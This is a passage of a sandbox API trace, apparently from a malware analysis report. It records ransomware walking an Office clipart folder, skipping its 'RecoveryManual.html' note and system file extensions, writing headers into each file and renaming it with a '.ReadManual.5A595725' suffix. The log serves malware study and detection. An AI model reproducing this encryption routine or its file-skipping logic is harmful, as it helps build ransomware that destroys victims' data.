dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.563] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28626) returned 1 [0267.563] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6fd2, lpName=0x0) returned 0x184 [0267.564] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.564] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.564] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.566] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.567] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6fd2) returned 0x2f0000 [0267.567] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38823590653) returned 1 [0267.567] CloseHandle (hObject=0x184) returned 1 [0267.567] SetSecurityInfo () returned 0x57 [0267.567] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.567] CloseHandle (hObject=0x194) returned 1 [0267.567] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0267.567] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0183198.WMF" | out: lpString1="J0183198.WMF") returned="J0183198.WMF" [0267.568] lstrcmpiW (lpString1="J0183198.WMF", lpString2="RecoveryManual.html") returned -1 [0267.568] StrStrIW (lpFirst="J0183198.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.568] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.568] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.568] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" [0267.568] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ReadManual.5A595725" [0267.568] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.ReadManual.5A595725") returned 87 [0267.568] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38823684894) returned 1 [0267.568] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf")) returned 0x20 [0267.568] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.569] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24430) returned 1 [0267.569] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f6e, lpName=0x0) returned 0x184 [0267.569] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.569] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.570] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.572] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.572] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f6e) returned 0x2f0000 [0267.572] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.572] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38824122928) returned 1 [0267.573] CloseHandle (hObject=0x184) returned 1 [0267.573] SetSecurityInfo () returned 0x57 [0267.573] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.573] CloseHandle (hObject=0x194) returned 1 [0267.573] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0267.573] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0183574.WMF" | out: lpString1="J0183574.WMF") returned="J0183574.WMF" [0267.573] lstrcmpiW (lpString1="J0183574.WMF", lpString2="RecoveryManual.html") returned -1 [0267.573] StrStrIW (lpFirst="J0183574.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.573] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.573] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.573] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" [0267.573] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ReadManual.5A595725" [0267.573] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.ReadManual.5A595725") returned 87 [0267.573] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38824222107) returned 1 [0267.574] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf")) returned 0x20 [0267.574] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.575] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19274) returned 1 [0267.575] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b4a, lpName=0x0) returned 0x184 [0267.575] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.575] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.576] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.578] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.578] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b4a) returned 0x2f0000 [0267.578] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.578] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38824851814) returned 1 [0267.580] CloseHandle (hObject=0x184) returned 1 [0267.580] SetSecurityInfo () returned 0x57 [0267.580] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.580] CloseHandle (hObject=0x194) returned 1 [0267.580] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0267.580] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185670.WMF" | out: lpString1="J0185670.WMF") returned="J0185670.WMF" [0267.580] lstrcmpiW (lpString1="J0185670.WMF", lpString2="RecoveryManual.html") returned -1 [0267.580] StrStrIW (lpFirst="J0185670.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.580] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.580] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.581] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.581] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.581] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.581] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.581] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" [0267.581] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ReadManual.5A595725" [0267.581] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ReadManual.5A595725") returned 87 [0267.581] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38824951746) returned 1 [0267.581] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 0x20 [0267.581] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.581] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7304) returned 1 [0267.581] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c88, lpName=0x0) returned 0x184 [0267.581] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.582] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.582] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.584] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.584] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c88) returned 0x2f0000 [0267.585] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38825339646) returned 1 [0267.585] CloseHandle (hObject=0x184) returned 1 [0267.585] SetSecurityInfo () returned 0x57 [0267.585] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.585] CloseHandle (hObject=0x194) returned 1 [0267.585] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0267.586] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185774.WMF" | out: lpString1="J0185774.WMF") returned="J0185774.WMF" [0267.586] lstrcmpiW (lpString1="J0185774.WMF", lpString2="RecoveryManual.html") returned -1 [0267.586] StrStrIW (lpFirst="J0185774.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.586] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.586] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.586] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" [0267.586] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ReadManual.5A595725" [0267.586] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ReadManual.5A595725") returned 87 [0267.586] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38825504731) returned 1 [0267.586] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 0x20 [0267.587] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.587] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20038) returned 1 [0267.587] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e46, lpName=0x0) returned 0x184 [0267.587] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.588] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.588] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.590] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.591] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e46) returned 0x2f0000 [0267.591] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.591] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38825978693) returned 1 [0267.591] CloseHandle (hObject=0x184) returned 1 [0267.591] SetSecurityInfo () returned 0x57 [0267.591] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.591] CloseHandle (hObject=0x194) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0267.591] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185776.WMF" | out: lpString1="J0185776.WMF") returned="J0185776.WMF" [0267.591] lstrcmpiW (lpString1="J0185776.WMF", lpString2="RecoveryManual.html") returned -1 [0267.591] StrStrIW (lpFirst="J0185776.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.591] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.591] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.592] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.592] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" [0267.592] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ReadManual.5A595725" [0267.592] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ReadManual.5A595725") returned 87 [0267.592] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38826073815) returned 1 [0267.592] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 0x20 [0267.592] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.593] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27096) returned 1 [0267.593] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69d8, lpName=0x0) returned 0x184 [0267.593] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.594] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.594] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.596] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.596] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69d8) returned 0x2f0000 [0267.596] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38826509708) returned 1 [0267.596] CloseHandle (hObject=0x184) returned 1 [0267.596] SetSecurityInfo () returned 0x57 [0267.597] LocalFree 